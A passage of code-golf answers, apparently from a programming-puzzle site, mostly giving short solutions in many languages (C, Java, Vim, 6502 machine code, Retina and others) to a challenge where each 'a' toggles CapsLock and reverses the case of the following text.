before and after the cursor (and moves the cursor forward one place). [Answer] # [Deadfish~](https://github.com/TryItOnline/deadfish-), 154 + 10 bytes ``` iiissdcdddddddddddddddciiiiiiiiiiiiiiiiiicciiiicddddddddciiicddddddddddddddciiiiiiiiiiiiiiiiiiiiiiiiiiicdddddddddddddddddddddddddddddddddddddddddddddddcic ``` [Try it online!](https://tio.run/##S0lNTEnLLM7Q/f8/MzOzuDglOQUVJGdigGSwWDKyimSCmhC6U0gDyZnJ//8DAA "Deadfish~ ‚Äì Try It Online") No `{}` :( Needs `i`, you can't do anything without it... [Answer] # [Pyth](https://github.com/isaacg1/pyth), 39 + 10 (+) = 49 bytes ``` r1++++++C+55 25"ASSW"e<G15"RD"C+54 41Z1 ``` [Try it online!](https://tio.run/##K6gsyfj/v8hQGwyctU1NFYxMlRyDg8OVUm3cDU2VglyUgKImCiaGUYb//wMA "Pyth ‚Äì Try It Online") This could probably be golfed a bit more but I give up. :) The code adds a series of strings to the stack, appends them all, and then translates the whole thing to uppercase. That leaves one string on the stack which is printed automatically when the code exits. The Pyth specific tricks used here are related to getting the characters not available on the limited keyboard. The `P` and `_` characters are generated by computing the codepoint of the character and using the Pyth `C` function. And the `o` character is extracted from the `G` variable, which is pre-defined to hold the alphabet. The `r1` translation is needed just for that, since the alphabet constant is lowercase. That turns out to be the same number of characters as the codepoint method, so left both in the code. I had to add the `+` character so the code gets a +10 penalty. ``` +55 25 - push 75 on the stack C - convert codepoint to "P" "ASSW" - push "ASSW" to the stack + - append top two stack entries G - push "abc...xyz" to the stack < 15 - take 15 char substring e - take last char on string "o" + - append top two stack entries "RD" - push "RD" into the stack + - append top two stack entries +54 45 - push 95 on the stack C - convert codepoint to "_" + - append top two stack entries Z - push 0 onto the stack + - append top two stack entries 1 - push 1 onto the stack + - append top two stack entries r1 - convert to uppercase ``` ]
[Question] [ What happens when the `CapsLock` key on your keyboard doesn't have a notch in it? *"This hPPENS."* The goal of this program is to consistently emulate keyboard misses where each `A` press is replaced with `CapsLock`. Uppercase 'A's from the source should yield the same effect. **When `CapsLock` is enabled, capitalization is reversed.** # Test Cases ``` "The quick brown fox jumps over the lazy dog." -> "The quick brown fox jumps over the lZY DOG." "Compilation finished successfully." -> "CompilTION FINISHED SUCCESSFULLY." "What happens when the CapsLock key on your keyboard doesn't have a notch in it?" -> "WhT Hppens when the CPSlOCK KEY ON YOUR KEYBOrd doesn't hVE notch in it?" "The end of the institution, maintenance, and administration of government, is to secure the existence of the body politic, to protect it, and to furnish the individuals who compose it with the power of enjoying in safety and tranquillity their natural rights, and the blessings of life: and whenever these great objects are not obtained, the people have a right to alter the government, and to take measures necessary for their safety, prosperity and happiness." -> "The end of the institution, mINTENnce, ND dministrTION OF GOVERNMENT, IS TO SECURE THE EXISTENCE OF THE BODY POLITIC, TO PROTECT IT, nd to furnish the individuLS WHO COMPOSE IT WITH THE POWER OF ENJOYING IN Sfety ND TRnquillity their nTURl rights, ND THE BLESSINGS OF LIFE: nd whenever these greT OBJECTS re not obtINED, THE PEOPLE Hve RIGHT TO lter the government, ND TO Tke meSURES NECESSry for their sFETY, PROSPERITY nd hPPINESS." "aAaaaaAaaaAAaAa" -> "" (Without the notch, no one can hear you scream) "CapsLock locks cAPSlOCK" -> "CPSlOCK LOCKS CPSlOCK" "wHAT IF cAPSlOCK IS ALREADY ON?" -> "wHt if CPSlOCK IS lreDY ON?" ``` The winning criterion is, as usual, the size of the submitted program's source code. [Answer] # [AutoHotKey](https://autohotkey.com), 7 bytes ``` a::vk14 ``` // Is this valid? This really do what OP want -- replace `a` by `CapsLock (vk14)`. Run this program, and type the input from keyboard.. [Answer] # [V](https://github.com/DJMcMayhem/V), 9 bytes ``` ò/ãa xg~$ ``` [Try it online!](https://tio.run/##VVA7WoRADO49RQpLPu09hxfIQoCsQzJOAiyNl/EGXmEPhpkFC7t5/O9l3@8/r/dvfLoNX8/7/j4SkHSgPXgcWczZZ2eVBiZkcRKUlhrAAGE3sbB5wQqonEEXKjKReANs4ApG7VzoIUa3wFKw/9Qv2m2QNbFz21RwLurUOrAfBvHUzyUsxjNNxwt3MyaDdVRodcpq8e6wsh@YrCuVakBy1Y1lCBYY9uTbIVlQPmdOYbpVAhcQ9LlggsLD6HY613iJzELBqlzint4eX@tIQlGzYsJ8KIQOerlGcAOMrqL17rEWdc0RijQnghEXAjx8ajdMfsj82@0s7vhBMBFazGcg1EYYLBv0Ws7cR6umrmaZCp8NR8w5rM1efgE "V – Try It Online") Hexdump: ``` 00000000: f22f e361 0a78 677e 24 ./.a.xg~$ ``` Explanation: ``` ò " Recursively: /ãa " Move forward to the next 'a' (upper or lowercase) " This will break the loop when there are no more 'a's x " Delete the 'a' g~$ " Toggle the case of every character after the cursor's position. ``` [Answer] # Vim, 16 bytes ``` qq/\ca xg~$@qq@q ``` Assumes the input is on a single line ## Explanation ``` qq Start a loop /\ca␊ Find the first occurence of an a, end the loop if there are none left xg~$ Remove it and invert the case of the rest of the file @qq@q End the loop ``` [Answer] # C, 72 bytes *Thanks to @Ton Hospel for helping to save 16 bytes!* ``` t,c;f(char*s){for(t=0;c=*s++;6305%c?putchar(isalpha(c)?c^t:c):(t^=32));} ``` [Try it online!](https://tio.run/##bVLNbtswDL73KYgCw@zWG4oV2yFBEAS97rYCuxVgZNpWIkuaSCf1ij57RjkO0AHRQZYlkt8Pab60xpxOUpllU5gO0x2Xb01IhawelmZ1x/f3yx@PD98/mXUcJAcUltHFDgtTrs2LLEy5KORl9fitLJfvJ@sFerS@KG/ebkBXU9w@dwR/Bmv2sE3h6KEJr7Ab@sgQDpRA9Nnh3xHq0H69LZegQFzc6ulS4Cn00ToUGzTZessd1cCDMcTcDM6N19N@dyjQYYzkGY4d@QnqCSP/DEpmTyNowTEMKZ@3AVOtHIj955x2IEDwQTWD9WBlfRUjayNfQ2im4tazWBky02ryQcijN1QBahDWfWYv6SxFc9rsgO/JSwWWQQIwmSHRVIxeNZY0@1J9G@oRYnBWrKlycExByIiyOwPoVTOkbNDMprYHWw/osv4ARn0MrPcCRyvnmBiO2gMFIL8Lo/VtVsvYkIznkgm9Ns8p6JgTbAKPMiR0kGzbCc/ImZ7TfmgFzuWcbWgxPWXnaW60greJtC1hu1PiDKha1WT9F3WL6upMikJ0dGnChJO1oZN5Xj76NgsX3BP0hKz2MXjKw4Fp1GlLM@@zqiq7xpGSnRXmCVFo5utThBvUlbfNRj9XY4R@PeP/W359P/0D) [Answer] # [Husk](https://github.com/barbuz/Husk), 11 bytes ``` Γ·§?m\:€"Aa ``` [Try it online!](https://tio.run/##yygtzv7//9zkQ9sPLbfPjbF61LRGyTHx////SuUejiEKnm4KyY4BwTn@zt4KnsEKjj5Bro4ukQr@fvZKAA "Husk – Try It Online") ## Explanation I'm using the somewhat obscure overloading of `Γ` called `listNF`, which constructs recursive functions that operate on lists. It corresponds to the following Haskell pattern: ``` listNF f = g where g (x : xs) = f g x xs g [] = [] ``` The idea is that `listNF` takes a helper function `f` and returns a new function `g`, which takes a list. The function `f` takes a function, which will always be `g`, and the head `x` and tail `xs` of the list, and does something with them. In our application, `f` calls `g` recursively on `xs`. The program is interpreted like this: ``` Γ (· (§ (?m\) : (€"Aa"))) Γ ( ) Create a function g that takes a list (x:xs) and applies a function on x and xs. · ( ) Compose g with second argument of function in parentheses. Instead of x and xs, the function is called on x and the result of a recursive call of g on xs. (€"Aa") Check if x is 'A' or 'a'. (?m\) If it is, then swap the case of every char in g(xs). § : Otherwise, prepend x to g(xs). ``` [Answer] # [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~33~~ ~~21~~ 17 bytes ``` i(Tv`lL`Ll`a.* a ``` [**Try it online**](https://tio.run/##TVK9jtswDN79FFyKOxRGgK5diuDWjAfcGsambSayqIpUcr6XTynbB9SDLUvk90dlMo746/nj9dw8@fX9fg6n8ymc8fCzweb5fJ8I/hbubnDJ8ogwyCdcy5wU5E4ZzI8Dfi3Qy3ho3mROHNBYvJAj60Q9aOk6Uh1KCMuh@ZjQYMKUKCo8JoorxBsmPYmT3GgBb16k5Lq@CObesUnjS227EyBEsW4CjsD2p6n6KPYgwwrEUY2tVAUtzMjRKGLsqAX0IuznqsryJtF7xuoizhStBVYwAaWuZFrB6NNrybu/0S/SL5AksHHX1uKUxagzV7IR@NZQcjW@q@n5zn3BUL0KdJ6PqO8bPNi2miQPz9EJKF5l4ThWZ4oD2bJBZow@gOCkS23gDBGtZAyQeZxMd@YqL3jOjqAVLvBAv9ejmjLtw3LyMZOPQC5XF66A7tUD9X/ztKhvN1EkKdB34CtP9YbB9pn/n9tu3PBGMBOqx6cQqQ4d8@I3Ju@6N1dtTU0TZd4d1tvg1KqHBo/oT30dj/75Bw) **Explanation:** ``` i( i is for case-insensitive, the paren makes it modify both stages Tv` Transliteration, with simple overlaps (v) - 1 match at every start pos lL`Ll` Replace lowercase with uppercase, and vice versa a.* Every 'a' will match, overlapping to the end of the string This swaps the case on all letters after each 'a' a Replace all 'a's with nothing ``` *-12 bytes thanks to Martin* *-4 bytes thanks to Leo* [Answer] # Python, 63 bytes ``` f=lambda s:s and[s[0]+f(s[1:]),f(s[1:]).swapcase()][s[0]in"aA"] ``` Another Python solution, works in Python 2 and 3. Takes a very long time for all but small inputs. [Answer] # [R](https://www.r-project.org/), 92 bytes ``` cat(`[<-`(v<-el(strsplit(scan(,""),"a|A")),w<-c(F,T),chartr("a-zA-Z","A-Za-z",v)[w]),sep="") ``` Thank @Giuseppe for fixing the answer. **Explanation** ``` # Write cat( # Replace and return, this is the function that powers # the R store at index operations, a[i]<-b `[<-`( # First arg - what to replace = extract first list element # of a string input after splitting at a or A v<-el(strsplit(scan(,""),"a|A")), # Second arg - index to replace = abuse vector recycling # to create infinite F, T, F, T, F, etc series w<-c(F,T), # Third arg - replacement values = replace with case toggled letters chartr("a-zA-Z","A-Za-z",v)[w]), # Write without separation sep="") ``` [Try it online!](https://tio.run/##VVJLbtwwDL0KoZUNyD1AMVlk0xNk1aBAODI9ZipLqkjbddC7T6l4uuhG0Od9CdV75GvFenQL6ZxH6e8BtXt7vQxv3XYZKHaiVUpk7SRg6rxzvXf459n1vd8vQ@i@@Zfehxmr1s7h8PE8fHfe2Wp757f@df/Re6HyZMy7e5kJKI2QJ1DbchJlXZVz8rAgJ6WEKZAHNBCOCye2ANgAjXPLG9W0UFIPLKAZhMJa6VOMfhuWjP1P/ZrHA0q28Bx8A5ealYIC62lgV9NazWJ@pBl543HFKLDPGUJeSha7V9hZT0zJO9VmQOk9H5xuxgLBifQ4JSumXytHMz0agSsk1LVihMq3WeXh3OJFEjEFaXKRJ/r6@bTPlMhqNoyZ3yqhQr6@W3ABtK4pt7PatGj0ZyjKJRLMuBHg6dO6YdRT5r@5PYor/iRYCMXGJ5AoWBj7CDDl@sh9tvJtalKo8qPhjKWYtcgXd/8L "R – Try It Online") [Answer] # Java 8, ~~119~~ ~~108~~ 98 bytes ``` s->{int f=0,t;for(int c:s)if((t=c&95)==65)f^=1;else System.out.printf("%c",f<1|t<66|t>90?c:c^32);} ``` -11 bytes thanks to *@OlivierGrégoire*. -10 bytes thanks to *@Nevay*. **Explanation:** [Try it online.](https://tio.run/##bVRhT9tADP2@X2FV2pZKpYJNIEEpqOo2DY3BtCKNCYHkXpzmyvUuu3NaMuC3d74knUa1qk2bnP3e87PdOS5xxxVk5@n9WhkMAb6ito@vALRl8hkqgot4C7B0OgWVqBz9zS2E7kCePstH3oGRtYILsDCEddg5eZRsyIa7PR5kzifxTh2Frs6ShIfqzeF@dzg82O9md8O9AZlAMKkC06LvSu4XXsKzpPNadXrZ8d4THx8cPPHJ4e6pOlJ37991B8/rQcNblFMjvC19LXAh8pMJC8bs5ha7jXSmwEnnKif4VWp1D1PvVhYy9wDzclEEcEvywHJs8HcFqZv1O3V5m8yxWxTaCImTLG11yCmFUCpFIWSlMdVW/I8cGXIsxNgAq5xsDT7GIpw7ob@nCgSpcqWPv6cOfSqsFOzbmLYkQLCOVS5NAM2nL8FjGWRTcFmNqm1gzWXU1qurZ7JoFfUAJQjTRdTLvhEvObNYrF2Q5R7oAOwgkCo91WD0ILEk2Rv0qUsrKJzRYnAvBhfeMSkWWQ2BPMpKHy1p1aR6qdMSTSzcgRLnnPRXM6w0NzGFW4ndQiBj5yppVCwzYEZcNZAerfTJCGkVE7QHi1x6NOD1LOfQMkd5RjogCCHCGZ3RUX0ULae2p0I@8yT9cNO5CA@AUqu4K/csblHaa0SRKwxt3K95Ym1ouB2Nf31rC2e8J1gQBrEvgKU4DugrGSzf6m6q6kXXQkFetxXG0RDqELbmBkcor3gZjeRrawg342PkEkCNvk3M5fjLy6DV59EVnH36ewpnExidf/84@vATLi@2Jukarx86/9njepHqkGaRZNmbPbJ9lYQ@u7H8B4y8xyrptoDb@2ts0gI/r/8A) ``` s->{ // Method with char-array parameter and no return-type int f=0,t; // Flag-integer, starting at 0 for(int c:s) // Loop over the characters of the input as integers if((t=c&95)==65) // If the current character is an 'A' or 'a': f^=1; // Toggle the flag (0→1 or 1→0) else // Else: System.out.printf("%c", // Print integer as character f<1| // If the flag-integer is 0, t<66|t>90? // or the current character isn't a letter: c // Simply output the character as is : // Else (the flag it 1 and it's a letter) c^32);} // Print it with its case reversed ``` [Answer] # JavaScript (ES6), ~~93~~ ~~88~~ ~~84~~ 82 bytes *(saved 5 bytes thanks to @Shaggy, 4 bytes thanks to @user81655, and 2 bytes thanks to @l4m2.)* ``` a=>a.replace(A=/./g,c=>c in{a,A}?(A=!A,''):A?c:c[`to${c<{}?'Low':'Upp'}erCase`]()) ``` **Test cases:** ``` let f= a=>a.replace(A=/./g,c=>c in{a,A}?(A=!A,''):A?c:c[`to${c<{}?'Low':'Upp'}erCase`]()) console.log(f("The quick brown fox jumps over the lazy dog.")); console.log(f("Compilation finished successfully.")); console.log(f("What happens when the CapsLock key on your keyboard doesn't have a notch in it?")); console.log(f("The end of the institution, maintenance, and administration of government, is to secure the existence of the body politic, to protect it, and to furnish the individuals who compose it with the power of enjoying in safety and tranquillity their natural rights, and the blessings of life: and whenever these great objects are not obtained, the people have a right to alter the government, and to take measures necessary for their safety, prosperity and happiness.")); console.log(f("aAaaaaAaaaAAaAa")); console.log(f("CapsLock locks cAPSlOCK")); console.log(f("wHAT IF cAPSlOCK IS ALREADY ON?")); ``` [Answer] # [PowerShell Core](https://github.com/PowerShell/PowerShell), 105 bytes ``` "$args"|% t*y|%{if($_-in97,65){$c=!$c}else{Write-Host -n($_,("$_"|%("*per","*wer")[$_-in65..90]))[!!$c]}} ``` [Try it online!](https://tio.run/##K8gvTy0qzkjNydFNzi9K/f9fSSWxKL1YqUZVoUSrska1OjNNQyVeNzPP0lzHzFSzWiXZVlEluTY1pzi1OrwosyRV1yO/uERBNw@oSkdDSSUeqFNDSasgtUhJR0kLaLaSZjRYv5mpnp6lQaymZrQi0IDY2tr/QLucEwuKffKTsxVygESxQrJjQHCOv7O3EgA "PowerShell Core – Try It Online") What with no real ternary operator and no default alias for printing to screen, it's not that short. * `% t*y` expands to `| ForEach-Object -Method ToCharArray` equiv. of `"$args".ToCharArray()` * `Write-Host -n` is for the parameter `-NoNewLine` * `"$_"` turns the `[char]` type back to `[string]` (chars have no upper/lower case in .Net) * `|% *per` does the same method call shortcut as earlier, but for `.ToUpper()`, same with `.ToLower()` * `($a,$b)[boolean test]` abused as fake-ternary operator * `!!$c` force-casts to `[bool]` here it starts undefined `$null` so it gets forced it into existence as "caps lock: $false". [Answer] # [Perl 5](https://www.perl.org/) `-p`, ~~31~~ ~~30~~ 29 bytes -1 byte thanks to [@nwellnhof](https://codegolf.stackexchange.com/users/9296/nwellnhof) -1 byte thanks to [@ikegami](https://codegolf.stackexchange.com/users/3324/ikegami) ``` #!/usr/bin/perl -p s/a([^a]*)a?/$1^uc$1^lc$1/egi ``` [Try it online!](https://tio.run/##Fcs9C8IwEIfxr/IfBF9AQgfnDq7uDtLCNT1MaLk7klTplze2y49neYzTfKs1Ozq9euouZ2rdoekXvzFvOH7HWp@BCgKZsWR8AwtKYNzJ8kP9hIlXqGDVJe09KKURo3KW4759GATR4gOiIJb2p1aiSq5X@wM "Perl 5 – Try It Online") [Answer] # C, 167 168 158 131 bytes Thanks for @Martin Ender for the code review: I've switched the stream processing for string processing to help with reusability. Also many thanks to @RiaD and @ceilingcat for their suggestions. ``` c,d;(*t[][2])()={{isupper,tolower},{islower,toupper}};f(char*s){for(d=1;c=*s++;)t[0][1](c)==97?d=!d:putchar(t[!t[d][0](c)][1](c));} ``` [Try it online!](https://tio.run/##RY/LTsMwEEX3@QpX3dhpitpKFQLXIN6fwMLyIozt1FKII3sCgsi/TnCqClZz77lnM7BuAKal66AdtCGHiNr5i@NN8Y8Av3qT0QSV5rREqeROMcrEOLo49L0JFfrWf5qQqkxOKZPTkhK3FI51KCMbrQ9Uiy0HUcbVijOUGyW3igIT4uryVouFvu4HnHWKcoFSq2zk@WwxnibXIXmvXUc/vNNsLAiZdRLlbr9XvMjdWWobg5HGikT3bbylkeWYH@sYI3PjWQsGh9CRDS/SVL@BNrYhd/cPj0/PL3/3zH/AtnUTp/Vr3ba/ "C (gcc) – Try It Online") # How does it work? ``` /* int c is the input character, int d is the Caps Lock flag (1=off, 0=on) starting as "Off". */ int c, d; /* array of comparison functions and transformation functions for each state */ (*t[][2])() = {{isupper, tolower}, {islower, toupper}}; f(char *s) { /* Loop if we haven't hit the terminator */ for(d = 1; c = *s++;) t[0][1](c) == 97 ? /* If tolower(c)=='a' then flip the Caps Lock state */ d=!d: /* Otherwise, convert character according to the following table: Character case Caps Lock UPPER LOWER ON tolower() toupper() OFF toupper() tolower() */ putchar(t[!t[d][0](c)][1](c)); } } ``` # Notes * `s[][]` is where the magic happens: `[][0]` is the comparison function and `[][1]` is the related transformation function for each state. * `!` is applied to the comparison function to force it into the range [0,1]. [Answer] # [6502 machine code](https://en.wikibooks.org/wiki/6502_Assembly) routine (C64), 51 bytes ``` A0 00 84 FE B1 FC F0 2A C9 41 F0 06 90 1A C9 C1 D0 08 A9 80 45 FE 85 FE B0 11 B0 06 C9 5B B0 08 90 04 C9 DB B0 02 45 FE 20 16 E7 C8 D0 D6 E6 FD D0 D2 60 ``` Expects a pointer to a 0-terminated input string in `$fc/$fd`, outputs to the screen. ### Commented disassembly ``` .caps: A0 00 LDY #$00 84 FE STY $FE ; init capslock state .loop: B1 FC LDA ($FC),Y ; next char from string F0 2A BEQ .done ; NUL -> we're done C9 41 CMP #$41 ; compare to 'a' F0 06 BEQ .isa ; if equal, toggle capslock 90 1A BCC .out ; if smaller, direct output C9 C1 CMP #$C1 ; compare to 'A' D0 08 BNE .ctog ; if not equal, check for letter .isa: A9 80 LDA #$80 ; toggle bit 7 in caps lock state 45 FE EOR $FE 85 FE STA $FE B0 11 BCS .next ; and go on .ctog: B0 06 BCS .cZ ; if char larger 'A', check for 'Z' C9 5B CMP #$5B ; compare with 'z'+1 B0 08 BCS .out ; larger or equal -> direct output 90 04 BCC .tog ; smaller -> apply capslock .cZ: C9 DB CMP #$DB ; compare with 'Z'+1 B0 02 BCS .out ; larger or equal -> direct output .tog: 45 FE EOR $FE ; toggle bit from capslock state .out: 20 16 E7 JSR $E716 ; output char .next: C8 INY ; and loop to next char D0 D6 BNE .loop E6 FD INC $FD D0 D2 BNE .loop .done: 60 RTS ``` --- ### Example assembler program using the routine: **[Online demo](https://vice.janicek.co/c64/#%7B%22controlPort2%22:%22joystick%22,%22primaryControlPort%22:2,%22keys%22:%7B%22SPACE%22:%22%22,%22RETURN%22:%22%22,%22F1%22:%22%22,%22F3%22:%22%22,%22F5%22:%22%22,%22F7%22:%22%22%7D,%22files%22:%7B%22caps.prg%22:%22data:;base64,AQgLCOIHnjIwNjEAAACpF40Y0KnYoAggHqup4YX8qQiF/SArCKkIhf1MpQigAITMhP6l/YUCIELx8PuF+yl/ySCwEskN8A7JFNDrpf7QBqUCxf3w4abP8Ap4pNOx0Sl/kdFYpfsgFuemz/AMeKTTsdEJgJHRWKX7yRTwH6T+kfzJDfAJyIT+0K3m/dCpqQCk/sjQAub9kfzmzGCk/tACxv2IhP6wkKAAhP6x/PAqyUHwBpAaycHQCKmARf6F/rARsAbJW7AIkATJ27ACRf4gFufI0Nbm/dDSYA1JTlBVVD4gAA==%22%7D,%22vice%22:%7B%22-autostart%22:%22caps.prg%22%7D%7D)** [![screenshot](https://i.stack.imgur.com/fhfI6.png)](https://i.stack.imgur.com/fhfI6.png) **Code in [ca65](http://cc65.github.io/doc/ca65.html) syntax:** ``` .import caps ; link with routine above .segment "BHDR" ; BASIC header .word $0801 ; load address .word $080b ; pointer next BASIC line .word 2018 ; line number .byte $9e ; BASIC token "SYS" .byte "2061",$0,$0,$0 ; 2061 ($080d) and terminating 0 bytes .bss string: .res $800 .data prompt: .byte $d, "input> ", $0 .code lda #$17 ; set upper/lower mode sta $d018 lda #<prompt ; display prompt ldy #>prompt jsr $ab1e lda #<string ; read string into buffer sta $fc lda #>string sta $fd jsr readline lda #>string ; call our caps routine on buffer sta $fd jmp caps ; read a line of input from keyboard, terminate it with 0 ; expects pointer to input buffer in $fc/$fd ; NO protection agains buffer overflows !!! .proc readline ldy #$0 sty $cc ; enable cursor blinking sty $fe ; temporary for loop variable lda $fd sta $2 ; initial page of string buffer getkey: jsr $f142 ; get character from keyboard beq getkey sta $fb ; save to temporary and #$7f cmp #$20 ; check for control character bcs prepout ; no -> to normal flow cmp #$d ; was it enter/return? beq prepout ; -> normal flow cmp #$14 ; was it backspace/delete? bne getkey ; if not, get next char lda $fe ; check current index bne prepout ; not zero -> ok lda $2 ; otherwise check if we're in the cmp $fd ; first page of the buffer beq getkey ; if yes, can't use backspace prepout: ldx $cf ; check cursor phase beq output ; invisible -> to output sei ; no interrupts ldy $d3 ; get current screen column lda ($d1),y ; and clear and #$7f ; cursor in sta ($d1),y ; current row cli ; enable interrupts output: lda $fb ; load character jsr $e716 ; and output ldx $cf ; check cursor phase beq store ; invisible -> to store sei ; no interrupts ldy $d3 ; get current screen column lda ($d1),y ; and show ora #$80 ; cursor in sta ($d1),y ; current row cli ; enable interrupts lda $fb ; load character store: cmp #$14 ; was it backspace/delete? beq backspace ; to backspace handling code ldy $fe ; load buffer index sta ($fc),y ; store character in buffer cmp #$d ; was it enter/return? beq done ; then we're done. iny ; advance buffer index sty $fe bne getkey ; not zero -> ok inc $fd ; otherwise advance buffer page bne getkey done: lda #$0 ; terminate string in buffer with zero ldy $fe ; get buffer index iny bne termidxok ; and advance ... inc $fd termidxok: sta ($fc),y ; store terminator in buffer inc $cc ; disable cursor blinking rts ; return backspace: ldy $fe ; load buffer index bne bsidxok ; if zero dec $fd ; decrement current page bsidxok: dey ; decrement buffer index sty $fe bcs getkey ; and get next key .endproc ``` [Answer] # [Ruby](https://www.ruby-lang.org/), ~~42~~ 41 bytes ``` ->s{s.sub!(/a(.*)/i){$1.swapcase}?redo:s} ``` [Try it online!](https://tio.run/##jVJNb5tAFLz7V0xRrdqVQ9RrJMei2K5RUBwFu5FrcVjDUjYhu5QHcWiS3@4@qLHanrqHtx8zb2Z2tUW1qw/J@HB2SS9kU7V7NzgXA/vj8FwNX95/smkv8kiQfJsUMjYX9HbY9oCttUolflQqesCuMHuNxDzjvnrMCeZJFigZzsTPGrH5blsj/Bf/2wbT5RfbCkethWsec5WJUhmmK60olTGoiiJJlFRZVrPwkbTylteYe9desJhNEaxddxYE87Xvb05qd6kokYo8l5qwT6VuPV2Rk2841YOswT61qYpmvTOiiDm8JP2haXuSENCmjFIoDVVO2PouXWHxr95NkC3dK1zNNuBIm@X6tll/Xv6p9nWGv7WOEYUjeDTFcXhii9NTdDEzLoTI@W3T3P9o6HMJOvuubb9wVvDmJz68AI5/O3OmTbrmDvtFCZWcYjOeFfKIhr3QloJTxgavSudVOYJ8zmVUyviV9aPMaIkxWsiOUlGQfW@UZqiQVGUlY8m2RUM@44lgDfo0RJ9wdsnVQh/bThLjcdc3gZULYvgCViJUxh@oNbOVpoY8OhK7fdiTOj78Ag "Ruby – Try It Online") A lambda accepting a string, mutating the string in place, and returning it. The trick here is that `sub` returns the string (a truthy value) if a substitution was made, and returns `nil` otherwise. The existence of `swapcase` is pretty handy, too. -1 byte: Replace boolean logic with ternary operator, thanks to [Asone Tuhid](https://codegolf.stackexchange.com/users/77598/asone-tuhid) ``` ->s{ s.sub!(/a(.*)/i){ # Replace "a" followed by anything with $1.swapcase # the case-swapped capture group } ? redo # If a match was found, restart the block : s # Otherwise, return the modified string } ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 14 bytes ``` Œu=”Aœp⁸ŒsJḤ$¦ ``` [Try it online!](https://tio.run/##VVC7UcRADG1FAaGHApghICWmAZ0t2zrW2mUln3EGLRwxGUMNFzNzhXCNGC02Adl@3n9PIczLcj6Ot5eX97vzW7q8ns5Hvf8@fVx9fS7L8tATkDQQWzA/sqixjcZRKhiQxUhQaqoAHYTNwMJqGQugcLp4oCwDiVXAChZBqR4z/YrRs2PJ2X/qu9jMkGJg47oq4JSjUW3Athr4Uztmt@i3NA0fuBkxKEx9hDoOKaq/G0xsKybFiXIxINnHmaVzFii2ZPMqmVGeRg5uOhcCZxC0MWOAzF1vujmXeIFUXUGLXOCWbn6/pp6EvGbBuHmXCQ3ibu/BFdC7Six387WoqdZQFFMg6PFAgKtP6YbBVpl/u23FDR8JBkL1@RSEag@DeYY25i332qoqq2mizFvDHlNya9XrHw "Jelly – Try It Online") Full program. Explanation: ``` Œu=”Aœp⁸ŒsJḤ$¦ Arguments: x Œu Uppercase x =”A ^ Equals 'A' (vectorizes) œp⁸ ^ Partition ⁸ [⁸=x] ¦ Apply link A, keep results at specific indices B Œs A: Swap case $ B: Form a >=2-link monadic chain JḤ Arguments: y J Get list indices ([1, length(list)]) of y Ḥ Double (vectorizes) ^ This way, we only "apply" link A to even indices, so every second element, starting from the secondd one. ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 12 bytes ``` õ?„AaS¡Dvć?š ``` [Try it online!](https://tio.run/##MzBNTDJM/f//8Fb7Rw3zHBODDy10KTvSbn904f//4RmJJQoZiQUFqXnFCuUZqXkKJRmpCs6JBcU@@cnZCtmplQr5eQqV@aVFIHZSfmJRikJKfmpxnjpIW1mqQqJCXn5JcoZCZp5CZok9AA "05AB1E – Try It Online") **Explanation** ``` õ? # print an empty string (to account for the special case of only A's) „AaS¡ # split on occurrences of "A" or "a" D # duplicate v # for each element in the top copy ć? # extract and print the head of the other copy š # switch the case of the rest of the other copy ``` [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), 70 bytes ``` #//.{x___,"a"|"A",y___}:>Join[{x},ToUpperCase@#+ToLowerCase@#-#&@{y}]& ``` [Try it online!](https://tio.run/##NY69DoIwFEZf5aYkOIi6G38wbMbBQeNAGnLFmjaEe0lbBYI8e8XB7TvDd3Jq9FrV6E2J4fmibYhWq@XQFUWRCBQfcRBJP8G43h3ZUD50Y3Lha9Mom6FTaTS/8InbPy2iOB36UcbhbA35XAjY7GDy5plGi6VX1uXiptGDxklCDlqtCKYGyLBxJy4rqFQPTNDzy/72ndE@4MHK0ex3eytAIPalBkNg/F5IKcMX "Wolfram Language (Mathematica) – Try It Online") Takes input and output as a list of characters. For convenience I've added code in the footer to convert this from and back to a string. # How it works The `#//.{x___,"a"|"A",y___}:>Join[{x},`...`{y}]&` part is standard: we find the first `A` (uppercase or lowercase), reverse case of that comes after the `A`, and repeat until there are no more `A`'s to be found. The interesting part is how we reverse case: the function `ToUpperCase@# + ToLowerCase@# - #&`. We add together the upper-cased version of the input and the lower-cased version of the input, then subtract the actual input. For example, given the list `{"I","n","P","u","T"}` this computes ``` {"I","N","P","U","T"}+{"i","n","p","u","t"}-{"I","n","P","u","T"} ``` which threads over lists as ``` {"I"+"i"-"I","N"+"n"-"n","P"+"p"-"P","U"+"u"-"u","T"+"t"-"T"} ``` and although Mathematica doesn't have any particular way of adding two strings, it's smart enough to simplify `a+b-a` to `b` for any values of `a` and `b`, including string values, so this simplifies to `{"i","N","p","U","t"}`. [Answer] # [PHP](http://php.net) ~~101~~ 99 bytes ``` for($s=$argn;$i<strlen($s);$i++)lcfirst($s[$i])==a?$s=strtolower($s)^strtoupper($s)^$s:print$s[$i]; ``` Run like this: ``` echo '[the input]' | php -nR '[the code]' ``` Ungolfed: ``` for ($s = $argn; $i < strlen($s); $i++) { if (lcfirst($s[$i]) == 'a') { $s = strtolower($s) ^ strtoupper($s) ^ $s; // Flip the whole string's case. } else { print $s[$i]; // Print the current letter. } } ``` This just loops through the string with a for loop, and on each iteration it checks if the current letter is `a`, if so, then flip the case of the whole string (method from [here](https://stackoverflow.com/a/6612519/3088508)), and if not, then print the current letter. [Answer] # [Fortran (GFortran)](https://gcc.gnu.org/fortran/), 307 bytes ``` CHARACTER(999)F,G G=' ' READ(*,'(A)')F N=1 M=1 DO I=1,999 IF(F(I:I)=='a'.OR.F(I:I)=='A')THEN M=-M ELSEIF(M==1)THEN G(N:N)=F(I:I) N=N+1 ELSE J=IACHAR(F(I:I)) SELECTCASE(J) CASE(65:90) G(N:N)=ACHAR(J+32) CASE(97:122) G(N:N)=ACHAR(J-32) CASE DEFAULT G(N:N)=F(I:I) ENDSELECT N=N+1 ENDIF ENDDO PRINT*,TRIM(G) END ``` [Try it 